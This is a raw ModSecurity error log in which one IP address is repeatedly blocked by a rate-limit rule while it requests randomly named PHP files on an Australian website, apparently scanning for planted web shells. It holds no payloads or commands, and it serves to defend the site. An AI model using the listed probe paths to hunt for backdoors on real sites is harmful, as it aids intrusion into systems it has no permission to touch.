[Fri Apr 03 02:47:06.540909 2026] [:error] [pid 25470:tid 25493] [client 158.158.120.135:2690] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tdsaz.php"] [unique_id "ac65qnhROcck6_9HYyhsAQAAANU"]
[Fri Apr 03 02:47:07.049985 2026] [:error] [pid 25018:tid 25437] [client 158.158.120.135:32464] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tdsaz.php"] [unique_id "ac65q3upR6lXnAUzFGoeXAAAAFg"]
[Fri Apr 03 02:47:07.551322 2026] [:error] [pid 25470:tid 25485] [client 158.158.120.135:64784] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tdsaz.php"] [unique_id "ac65q3hROcck6_9HYyhsCAAAAM0"]
[Fri Apr 03 02:47:08.094661 2026] [:error] [pid 25470:tid 25490] [client 158.158.120.135:29369] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tdsaz.php"] [unique_id "ac65rHhROcck6_9HYyhsCwAAANI"]
[Fri Apr 03 02:47:08.622523 2026] [:error] [pid 25470:tid 25472] [client 158.158.120.135:64824] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac65rHhROcck6_9HYyhsEAAAAMA"]
[Fri Apr 03 02:47:09.118812 2026] [:error] [pid 25470:tid 25489] [client 158.158.120.135:27390] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac65rXhROcck6_9HYyhsFAAAANE"]
[Fri Apr 03 02:47:09.615751 2026] [:error] [pid 25470:tid 25481] [client 158.158.120.135:23281] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac65rXhROcck6_9HYyhsGAAAAMk"]
[Fri Apr 03 02:47:10.098095 2026] [:error] [pid 25035:tid 25457] [client 158.158.120.135:2740] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ac65rhhR292toNOkLqHiuwAAAI8"]
[Fri Apr 03 02:47:10.603348 2026] [:error] [pid 25470:tid 25473] [client 158.158.120.135:2696] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "ac65rnhROcck6_9HYyhsHAAAAME"]
[Fri Apr 03 02:47:11.089460 2026] [:error] [pid 25018:tid 25429] [client 158.158.120.135:27342] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "ac65r3upR6lXnAUzFGoeYwAAAFA"]
[Fri Apr 03 02:47:11.570702 2026] [:error] [pid 25018:tid 25431] [client 158.158.120.135:2713] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "ac65r3upR6lXnAUzFGoeZAAAAFI"]
[Fri Apr 03 02:47:12.075332 2026] [:error] [pid 25470:tid 25475] [client 158.158.120.135:47229] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hfles.php"] [unique_id "ac65sHhROcck6_9HYyhsKAAAAMM"]
[Fri Apr 03 02:47:12.589803 2026] [:error] [pid 25035:tid 25449] [client 158.158.120.135:29817] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac65sBhR292toNOkLqHivwAAAIc"]
[Fri Apr 03 02:47:13.076452 2026] [:error] [pid 25470:tid 25476] [client 158.158.120.135:32499] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac65sXhROcck6_9HYyhsLgAAAMQ"]
[Fri Apr 03 02:47:13.587902 2026] [:error] [pid 25035:tid 25451] [client 158.158.120.135:47180] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac65sRhR292toNOkLqHixAAAAIk"]
[Fri Apr 03 02:47:14.076937 2026] [:error] [pid 25018:tid 25415] [client 158.158.120.135:56635] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ac65snupR6lXnAUzFGoeZQAAAEM"]
[Fri Apr 03 02:47:14.571679 2026] [:error] [pid 25018:tid 25421] [client 158.158.120.135:45232] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "ac65snupR6lXnAUzFGoeaAAAAEg"]
[Fri Apr 03 02:47:15.052544 2026] [:error] [pid 25470:tid 25486] [client 158.158.120.135:47202] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "ac65s3hROcck6_9HYyhsMgAAAM4"]
[Fri Apr 03 02:47:15.541083 2026] [:error] [pid 25035:tid 25460] [client 158.158.120.135:29812] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "ac65sxhR292toNOkLqHiywAAAJI"]
[Fri Apr 03 02:47:16.042185 2026] [:error] [pid 25010:tid 25371] [client 158.158.120.135:49304] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "ac65tI_KcjFQF5TuqTXgkwAAABY"]
[Fri Apr 03 02:47:16.531891 2026] [:error] [pid 25470:tid 25475] [client 158.158.120.135:2715] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac65tHhROcck6_9HYyhsNwAAAMM"]
[Fri Apr 03 02:47:17.033796 2026] [:error] [pid 25018:tid 25433] [client 158.158.120.135:32453] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac65tXupR6lXnAUzFGoeawAAAFQ"]
[Fri Apr 03 02:47:17.532013 2026] [:error] [pid 25018:tid 25430] [client 158.158.120.135:29798] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac65tXupR6lXnAUzFGoebwAAAFE"]
[Fri Apr 03 02:47:18.050316 2026] [:error] [pid 25018:tid 25431] [client 158.158.120.135:45236] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-20260318122951.php"] [unique_id "ac65tnupR6lXnAUzFGoecQAAAFI"]
[Fri Apr 03 02:47:18.544315 2026] [:error] [pid 25018:tid 25437] [client 158.158.120.135:38575] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "ac65tnupR6lXnAUzFGoedAAAAFg"]
[Fri Apr 03 02:47:19.026718 2026] [:error] [pid 25035:tid 25466] [client 158.158.120.135:56588] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "ac65txhR292toNOkLqHi0AAAAJg"]
[Fri Apr 03 02:47:19.519538 2026] [:error] [pid 25035:tid 25446] [client 158.158.120.135:24911] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "ac65txhR292toNOkLqHi0wAAAIQ"]
[Fri Apr 03 02:47:20.010156 2026] [:error] [pid 25035:tid 25449] [client 158.158.120.135:23253] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "ac65uBhR292toNOkLqHi1gAAAIc"]
[Fri Apr 03 02:47:20.493802 2026] [:error] [pid 25010:tid 25347] [client 158.158.120.135:58983] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "ac65uI_KcjFQF5TuqTXgmQAAAAA"]
[Fri Apr 03 02:47:20.984656 2026] [:error] [pid 25010:tid 25357] [client 158.158.120.135:38542] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "ac65uI_KcjFQF5TuqTXgnAAAAAk"]
[Fri Apr 03 02:47:21.478100 2026] [:error] [pid 25470:tid 25478] [client 158.158.120.135:38570] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "ac65uXhROcck6_9HYyhsRQAAAMY"]
[Fri Apr 03 02:47:21.979725 2026] [:error] [pid 25470:tid 25472] [client 158.158.120.135:46646] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "ac65uXhROcck6_9HYyhsSQAAAMA"]
[Fri Apr 03 02:47:22.577006 2026] [:error] [pid 25470:tid 25482] [client 158.158.120.135:56596] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "ac65unhROcck6_9HYyhsUAAAAMo"]
[Fri Apr 03 02:47:23.062785 2026] [:error] [pid 25470:tid 25484] [client 158.158.120.135:38589] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "ac65u3hROcck6_9HYyhsUwAAAMw"]
[Fri Apr 03 02:47:23.565330 2026] [:error] [pid 25470:tid 25486] [client 158.158.120.135:23238] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "ac65u3hROcck6_9HYyhsVwAAAM4"]
[Fri Apr 03 02:47:24.050466 2026] [:error] [pid 25470:tid 25479] [client 158.158.120.135:38591] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zoper1.php"] [unique_id "ac65vHhROcck6_9HYyhsXgAAAMc"]
[Fri Apr 03 02:47:24.560571 2026] [:error] [pid 25010:tid 25361] [client 158.158.120.135:58962] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "ac65vI_KcjFQF5TuqTXgqAAAAAw"]
[Fri Apr 03 02:47:25.080373 2026] [:error] [pid 25010:tid 25373] [client 158.158.120.135:29838] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "ac65vY_KcjFQF5TuqTXgrQAAABg"]
[Fri Apr 03 02:47:25.593703 2026] [:error] [pid 25010:tid 25351] [client 158.158.120.135:45213] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "ac65vY_KcjFQF5TuqTXgsgAAAAM"]
[Fri Apr 03 02:47:26.078470 2026] [:error] [pid 25010:tid 25353] [client 158.158.120.135:53649] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ta0ol.php"] [unique_id "ac65vo_KcjFQF5TuqTXgtgAAAAU"]
[Fri Apr 03 02:47:26.561430 2026] [:error] [pid 25470:tid 25477] [client 158.158.120.135:56635] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac65vnhROcck6_9HYyhsaAAAAMU"]
[Fri Apr 03 02:47:27.040175 2026] [:error] [pid 25470:tid 25474] [client 158.158.120.135:45196] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac65v3hROcck6_9HYyhsbAAAAMI"]
[Fri Apr 03 02:47:27.549651 2026] [:error] [pid 25010:tid 25368] [client 158.158.120.135:53690] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac65v4_KcjFQF5TuqTXgvQAAABM"]
[Fri Apr 03 02:47:28.030510 2026] [:error] [pid 25010:tid 25364] [client 158.158.120.135:2776] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "ac65wI_KcjFQF5TuqTXgwQAAAA8"]
[Fri Apr 03 02:47:28.529714 2026] [:error] [pid 25470:tid 25495] [client 158.158.120.135:58980] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ac65wHhROcck6_9HYyhseAAAANc"]
[Fri Apr 03 02:47:29.010309 2026] [:error] [pid 25018:tid 25432] [client 158.158.120.135:29863] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ac65wXupR6lXnAUzFGoeewAAAFM"]
[Fri Apr 03 02:47:29.494857 2026] [:error] [pid 25470:tid 25483] [client 158.158.120.135:61654] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ac65wXhROcck6_9HYyhsewAAAMs"]
[Fri Apr 03 02:47:29.997805 2026] [:error] [pid 25470:tid 25485] [client 158.158.120.135:61670] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ac65wXhROcck6_9HYyhsgwAAAM0"]
[Fri Apr 03 02:47:30.513208 2026] [:error] [pid 25035:tid 25447] [client 158.158.120.135:58523] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ac65whhR292toNOkLqHi4AAAAIU"]
[Fri Apr 03 02:47:30.998127 2026] [:error] [pid 25018:tid 25422] [client 158.158.120.135:8636] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ac65wnupR6lXnAUzFGoefwAAAEk"]
[Fri Apr 03 02:47:31.477829 2026] [:error] [pid 25470:tid 25491] [client 158.158.120.135:24975] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ac65w3hROcck6_9HYyhsiwAAANM"]
[Fri Apr 03 02:47:32.018362 2026] [:error] [pid 25035:tid 25458] [client 158.158.120.135:44563] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac65xBhR292toNOkLqHi4wAAAJA"]
[Fri Apr 03 02:47:32.499544 2026] [:error] [pid 25018:tid 25426] [client 158.158.120.135:57220] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac65xHupR6lXnAUzFGoegwAAAE0"]
[Fri Apr 03 02:47:33.037447 2026] [:error] [pid 25035:tid 25466] [client 158.158.120.135:35263] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac65xRhR292toNOkLqHi5AAAAJg"]
[Fri Apr 03 02:47:33.520660 2026] [:error] [pid 25470:tid 25476] [client 158.158.120.135:25014] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac65xXhROcck6_9HYyhskwAAAMQ"]
